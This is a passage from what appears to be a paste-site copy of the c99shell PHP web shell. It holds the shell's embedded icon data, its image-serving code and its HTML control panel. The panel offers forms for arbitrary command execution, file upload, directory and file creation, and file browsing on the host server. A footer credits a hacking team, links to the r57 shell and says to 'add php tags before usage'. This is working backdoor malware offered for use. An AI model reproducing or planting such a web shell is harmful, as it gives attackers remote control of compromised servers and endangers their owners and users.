  2745. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2746. "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
  2747. "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
  2748. "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
  2749. "RYtMAgEAOw==",
  2750. "ext_cmd"=>
  2751. "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
  2752. "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
  2753. "dmrYAMn1onq/YKpjvEgAADs=",
  2754. "ext_cpp"=>
  2755. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
  2756. "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
  2757. "Eq7YrLDE7a4SADs=",
  2758. "ext_ini"=>
  2759. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
  2760. "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
  2761. "SnEjgPVarHEHgrB43JvszsQEADs=",
  2762. "ext_diz"=>
  2763. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
  2764. "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
  2765. "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
  2766. "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
  2767. "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
  2768. "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
  2769. "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
  2770. "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
  2771. "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2772. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2773. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2774. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2775. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2776. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2777. "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
  2778. "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
  2779. "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
  2780. "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
  2781. "Ow==",
  2782. "ext_doc"=>
  2783. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
  2784. "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
  2785. "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
  2786. "ext_exe"=>
  2787. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  2788. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  2789. "xhIAOw==",
  2790. "ext_h"=>
  2791. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
  2792. "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
  2793. "Wq/NknbbSgAAOw==",
  2794. "ext_hpp"=>
  2795. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
  2796. "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
  2797. "UqUagnbLdZa+YFcCADs=",
  2798. "ext_htaccess"=>
  2799. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
  2800. "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
  2801. "AAA7",
  2802. "ext_html"=>
  2803. "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
  2804. "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
  2805. "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
  2806. "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
  2807. "ADs=",
  2808. "ext_jpg"=>
  2809. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
  2810. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
  2811. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
  2812. "FxEAOw==",
  2813. "ext_js"=>
  2814. "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
  2815. "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
  2816. "a00AjYYBbc/o9HjNniUAADs=",
  2817. "ext_lnk"=>
  2818. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
  2819. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
  2820. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
  2821. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
  2822. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
  2823. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2824. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2825. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
  2826. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
  2827. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
  2828. "ADs=",
  2829. "ext_log"=>
  2830. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
  2831. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
  2832. "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
  2833. "ext_php"=>
  2834. "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
  2835. "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
  2836. "ext_pl"=>
  2837. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  2838. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  2839. "ext_swf"=>
  2840. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  2841. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2842. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  2843. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  2844. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  2845. "ext_tar"=>
  2846. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  2847. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  2848. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  2849. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  2850. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2851. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2852. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2853. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  2854. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  2855. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  2856. "u4tLAgEAOw==",
  2857. "ext_txt"=>
  2858. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
  2859. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
  2860. "UpPWG3Ig6Hq/XmRjuZwkAAA7",
  2861. "ext_wri"=>
  2862. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  2863. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  2864. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  2865. "ext_xml"=>
  2866. "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
  2867. "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2868. "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
  2869. "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
  2870. "IQA7"
  2871. );
  2872.  //For simple size- and speed-optimization.
  2873.  $imgequals = array(
  2874.   "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  2875.   "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  2876.   "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  2877.   "ext_html"=>array("ext_html","ext_htm"),
  2878.   "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  2879.   "ext_lnk"=>array("ext_lnk","ext_url"),
  2880.   "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  2881.   "ext_doc"=>array("ext_doc","ext_dot"),
  2882.   "ext_js"=>array("ext_js","ext_vbs"),
  2883.   "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  2884.   "ext_wri"=>array("ext_wri","ext_rtf"),
  2885.   "ext_swf"=>array("ext_swf","ext_fla"),
  2886.   "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  2887.   "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  2888.  );
  2889.  if (!$getall)
  2890.  {
  2891.   header("Content-type: image/gif");
  2892.   header("Cache-control: public");
  2893.   header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  2894.   header("Cache-control: max-age=".(60*60*24*7));
  2895.   header("Last-Modified: ".date("r",filemtime(__FILE__)));
  2896.   foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  2897.   if (empty($images[$img])) {$img = "small_unk";}
  2898.   if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  2899.   echo base64_decode($images[$img]);
  2900.  }
  2901.  else
  2902.  {
  2903.   foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  2904.   natsort($images);
  2905.   $k = array_keys($images);
  2906.   echo  "<center>";
  2907.   foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  2908.   echo "</center>";
  2909.  }
  2910.  exit;
  2911. }
  2912. if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";}
  2913. ?>
  2914. </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  2915. <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr>
  2916. <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type="hidden" name="act" value="cmd"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type="hidden" name="cmd_txt" value="1">&nbsp;<input type="submit" name="submit" value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type="hidden" name="act" value="cmd"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type="hidden" name="cmd_txt" value="1">&nbsp;<input type="submit" name="submit" value="Execute"></form></td></tr></TABLE>
  2917. <br>
  2918. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  2919. <tr>
  2920.  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type="hidden" name="act" value="search"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type="submit" name="submit" value="Search"></form></center></p></td>
  2921.  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type="hidden" name="act" value="upload"><input type="file" name="uploadfile"><input type="hidden" name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
  2922. </tr>
  2923. </table>
  2924. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type="hidden" name="act" value="mkdir"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type="hidden" name="act" value="mkfile"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type="hidden" name="ft" value="edit">&nbsp;<input type="submit" value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
  2925. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo htmlspecialchars($surl); ?>"><input type="hidden" name="act" value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo htmlspecialchars($surl); ?>"><input type="hidden" name="act" value="gofile"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Go"></form></center></td></tr></table>
  2926. <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>powered by</b></u></a> Captain Crunch Security Team | <a href="http://r57.gen.tr"><font color="#FF0000">r57 shell</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table>
  2927. </body></html><?php chdir($lastdir); exit;
  2928. //add php tags before usage
  2929.  
  2930. ?>
clone this paste RAW Paste Data